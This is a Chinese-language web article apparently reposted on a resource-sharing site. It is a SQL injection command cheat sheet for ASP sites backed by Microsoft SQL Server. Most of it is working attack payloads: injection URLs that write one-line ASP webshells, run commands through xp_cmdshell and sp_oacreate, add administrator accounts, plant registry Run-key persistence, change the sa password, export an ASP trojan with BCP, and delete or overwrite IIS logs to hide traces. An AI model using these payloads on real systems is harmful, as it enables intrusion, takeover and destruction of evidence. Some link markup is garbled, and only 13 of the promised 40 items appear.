也想出现在这里? 联系我们

ASP注入详细命令40条

作者 : 小编 本文共10310个字,预计阅读时间需要26分钟 发布时间: 2021-06-1 共2.93K人阅读
也想出现在这里? 联系我们

1、 用^转义字符来写ASP(一句话木马)文件的方法:

? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell \’echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\\mu.asp\’;–

? echo ^<%execute^(request^("l"^)^)%^> >c:\\mu.asp

2、 显示SQL系统版本:

? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)

? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)–

Microsoft VBScript 编译器错误 错误 \’800a03f6\’

缺少 \’End\’

/iisHelp/common/500-100.asp,行242

Microsoft OLE DB Provider for ODBC Drivers 错误 \’80040e07\’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value \’Microsoft SQL Server 2000 – 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) \’ to a column of data type int.

/display.asp,行17

3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在URL后面加上") and 1=1 and 1 in(1"后原来的SQL语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in(\’firstsee\’)"的查询语句造成的。

4、 判断xp_cmdshell扩展存储过程是否存在:

http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = \’X\’ AND name = \’xp_cmdshell\’)

恢复xp_cmdshell扩展存储的命令

http://www.test.com/news/show1.asp?NewsId=125272

;exec master.dbo.sp_addextendedproc \’xp_cmdshell\’,\’e:\\inetput\\web\\xplog70.dll\’;–

5、 向启动组中写入命令行和执行程序:

http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\’,\’help1\’,\’REG_SZ\’,\’cmd.exe /c net user test ptlove /add\’

6、 查看当前的数据库名称:

? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了

? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())–

Microsoft VBScript 编译器错误 错误 \’800a03f6\’

缺少 \’End\’

/iisHelp/common/500-100.asp,行242

Microsoft OLE DB Provider for ODBC Drivers 错误 \’80040e07\’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value \’huidahouse\’ to a column of data type int.

/display.asp,行17

7、 列出当前所有的数据库名称:

select * from master.dbo.sysdatabases 列出所有列的记录

select name from master.dbo.sysdatabases 仅列出name列的记录

8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:

create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)

DECLARE @shell INT

DECLARE @fso INT

DECLARE @file INT

DECLARE @isEnd BIT

DECLARE @out VARCHAR(400)

EXEC sp_oacreate \’wscript.shell\’,@shell output

EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c dir c:\\>c:\\temp.txt\’,\’0\’,\’true\’

–注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output

EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’

–因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0

BEGIN

EXEC sp_oamethod @file,\’Readline\’,@out out

insert INTO MYTMP(info) VALUES (@out)

EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out

IF @isEnd=1 BREAK

ELSE CONTINUE

END

drop TABLE MYTMP

———-

DECLARE @shell INT

DECLARE @fso INT

DECLARE @file INT

DECLARE @isEnd BIT

DECLARE @out VARCHAR(400)

EXEC sp_oacreate \’wscript.shell\’,@shell output

EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll" "C:\\winnt\\system32\\inetsrv\\asp.dll">c:\\temp.txt\’,\’0\’,\’true\’

EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output

EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’

WHILE @shell>0

BEGIN

EXEC sp_oamethod @file,\’Readline\’,@out out

insert INTO MYTMP(info) VALUES (@out)

EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out

IF @isEnd=1 BREAK

ELSE CONTINUE

END

以下是一行里面将WEB用户加到管理员组中:

DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll" "C:\\winnt\\system32\\inetsrv\\asp.dll">c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序:

DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c cscript.exe E:\\bjeea.net.cn\\score\\fts\\images\\iis.vbs lh1 c:\\>c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三种执行CMD命令的方法:

先删除7.18号日志:

(1)exec master.dbo.xp_cmdshell \’del C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log >c:\\temp.txt\’

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c del C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log >c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:

? exec master..xp_regwrite \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Jet\\4.0\\Engines\’,\’SandBoxMode\’,\’REG_DWORD\’,1

注:

0 禁止一切(默认)

1 使能访问ACCESS,但是禁止其它

2 禁止访问ACCESS,但是使能其他

3 使能一切

? 这里仅给出sysadmin权限下使用的命令:

select * from openrowset(\’microsoft.jet.oledb.4.0\’,\’;database=c:\\winnt\\system32\\ias\\ias.mdb\’,\’select shell("cmd.exe /c net user admin admin1234 /add")\’)

? 建立链接数据库\’L0op8ack\’参考命令:

EXEC sp_addlinkedserver \’L0op8ack\’,\’OLE DB Provider for Jet\’,\’Microsoft.Jet.OLEDB.4.0\’,\’c:\\windows\\system32\\ias\\ias.mdb\’

? 如何使用链接数据库:

使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin setupadmin权限组合

sp_addlinkedserver需要sysadmin或setupadmin权限

sp_addlinkedsrvlogin需要sysadmin或securityadmin权限

最终发现,还是sa权限或者setupadmin securityadmin权限帐户才能使用,

一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,

我测试的时候授予hacker这个用户setupadmin securityadmin权限,使用ias.mdb失败

需要找一个一般用户可访问的mdb才可以:

? 新建链接服务器"L0op8ack":EXEC sp_addlinkedserver \’L0op8ack\’,\’JetOLEDB\’,\’Microsoft.Jet.OLEDB.4.0\’,\’c:\\winnt\\system32\\ias\\ias.mdb\’;–

? exec sp_addlinkedsrvlogin \’L0op8ack\’,\’false\’;–或

exec sp_addlinkedsrvlogin \’L0op8ack\’, \’false\’, NULL, \’test1\’, \’ptlove\’;–

? select * FROM OPENQUERY(L0op8ack, \’select shell("cmd.exe /c net user")\’);–

? exec sp_droplinkedsrvlogin \’L0op8ack\’,\’false\’;–

? exec sp_dropserver \’L0op8ack\’;–

再考贝一个其它文件来代替7.18日文件:

(1)exec master.dbo.xp_cmdshell \’copy C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050716.log C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log>c:\\temp.txt\’

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c copy C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050716.log C:\\winnt\\system32\\logfiles\\W3SVC5\\ex050718.log>c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate \’wscript.shell\’,@shell output EXEC sp_oamethod @shell,\’run\’,null,\’cmd.exe /c net user>c:\\temp.txt\’,\’0\’,\’true\’ EXEC sp_oacreate \’scripting.filesystemobject\’,@fso output EXEC sp_oamethod @fso,\’opentextfile\’,@file out,\’c:\\temp.txt\’ WHILE @shell>0 BEGIN EXEC sp_oamethod @file,\’Readline\’,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,\’AtEndOfStream\’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9、 用update来更新表中的数据:

<a href=\'<a href=\’HTTP://xxx.xxx.xxx/abc.asp?p=YY;update\’\’ target=\’_blank\’>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update\'</a> target=\’_blank\’><a href=\’HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a>\’ target=\’_blank\’>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a></a> upload.dbo.admin set pwd=\’a0b923820dcc509a\’ where username=\’www\’;–

www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;

32位MD5值为: ,密码为

10、 利用表内容导成文件功能

SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。

命令行格式如下:

bcp "select * from temp " queryout c:\\inetpub\\wwwroot\\runcommand.asp –c –S localhost –U sa –P upload(\’S\’参数为执行查询的服务器,\’U\’参数为用户名,\’P\’参数为密码,最终上传了一个runcommand.asp的木马)。

11、创建表、播入数据和读取数据的方法

? 创建表:

\’ and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))–

? 往表里播入数据:

\’ and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=\’U\’ and status>0,@result output insert into cyfd (gyfd) values(@result);–

\’ and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread \’HKEY_LOCAL_MACHINE\’,\’SYSTEM\\CONTROLSet001\\Services\\W3SVC\\Parameters\\Virtual Roots\’, \’/\’ ,@result output insert into cyfd (gyfd) values(@result);–

? 从表里读取数据:

\’ and 1=(select count(*) from cyfd where gyfd >1)–

? 删除临时表:

\’;drop table cyfd;–

12、通过SQL语句直接更改sa的密码:

? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

? 查看本机所有的数据库用户名:

select * from master.dbo.sysxlogins

select name,sid,password ,dbid from master.dbo.sysxlogins

? 更改sa口令方法:用sql综合利用工具连接后,执行命令:

exec sp_password NULL,\’新密码\’,\’sa\’

13、查询dvbbs库中所有的表名和表结构:

? select * from dvbbs.dbo.sysobjects where xtype=\’U\’ and status>0

? select * from dvbbs.dbo.syscolumns where id=1426104121

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » ASP注入详细命令40条

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录